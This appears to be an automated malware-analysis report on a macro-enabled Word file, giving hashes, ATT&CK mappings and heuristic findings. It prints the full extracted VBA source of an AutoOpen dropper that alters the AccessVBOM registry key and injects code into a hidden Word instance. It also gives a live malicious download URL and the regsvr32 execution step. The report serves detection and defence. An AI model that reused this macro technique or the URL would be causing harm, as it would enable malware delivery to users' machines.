Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 81b3ef4c1b47b1f4…

MALICIOUS

Office (OOXML)

44.6 KB Created: 2021-06-08 10:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 75df196e89ed438eac34823c5cc8ef3d SHA-1: 61d16a765a8dd260750d167aa632431c08660df5 SHA-256: 81b3ef4c1b47b1f4376b5e887c2c0ff26443cb7204a92d4e815ce1bd88d4e2b5
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute automatically via the AutoOpen function. These macros use WScript.Shell and CreateObject to download a file from the URL "http://breezebishopd.com/adda/o632aWWcVINA1TIqiriq/DPf2kk7ws9xfD1RHVaUPXh37NB7w3QtwOeV5GsQGJ/5982/TVki0hOvRtdgFkuc9d6nvY1ptWIo/paxi1?cid=CmP3J1Gpjfb6BUjHjlxjFoOwmpDp&sid=Bebdaj7qIDp2jpS1AmQRCHcvZ8fqO&ref=FImtFMC2nQWLU6cCQhJ" and save it as "c:\programdata\funcText.jpg". Subsequently, it uses Shell() to execute this downloaded file via "regsvr32 c:\programdata\funcText.jpg", indicating a downloader and execution attack pattern. The script also attempts to modify the registry key "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM" to ensure VBA macros can run.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub constProcedureTemp()
With CreateObject("wscript.shell")
.RegWrite loadSelect, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub referenceButton(databaseStructList)
Set procRightIndex = CreateObject("word.application")
With procRightIndex.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "textPtrVb"
Sub autoopen()
constProcedureTemp
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://breezebishopd.com/adda/o632aWWcVINA1TIqiriq/DPf2kk7ws9xfD1RHVaUPXh37NB7w3QtwOeV5GsQGJ/5982/TVki0hOvRtdgFkuc9d6nvY1ptWIo/paxi1?cid=CmP3J1Gpjfb6BUjHjlxjFoOwmpDp&sid=Bebdaj7qIDp2jpS1AmQRCHcvZ8fqO&ref=FImtFMC2nQWLU6cCQhJ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1109 bytes
SHA-256: c6c5b5c5dcb735b14cbe2d6ab4f746f7278af53a5990aaa829d47064b8bef092
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "textPtrVb"
Sub autoopen()
constProcedureTemp
databaseStructList = ActiveDocument.Content
databaseStructList = Mid(databaseStructList, 2, Len(databaseStructList))
referenceButton databaseStructList
End Sub
Sub referenceButton(databaseStructList)
Set procRightIndex = CreateObject("word.application")
With procRightIndex.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString databaseStructList
End With
procRightIndex.Visible = False
procRightIndex.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function loadSelect()
loadSelect = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
Sub constProcedureTemp()
With CreateObject("wscript.shell")
.RegWrite loadSelect, 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 7cfc51559796b22054dc513d687f23c603ad5d14e72806ad1094c768ecb7e7c4

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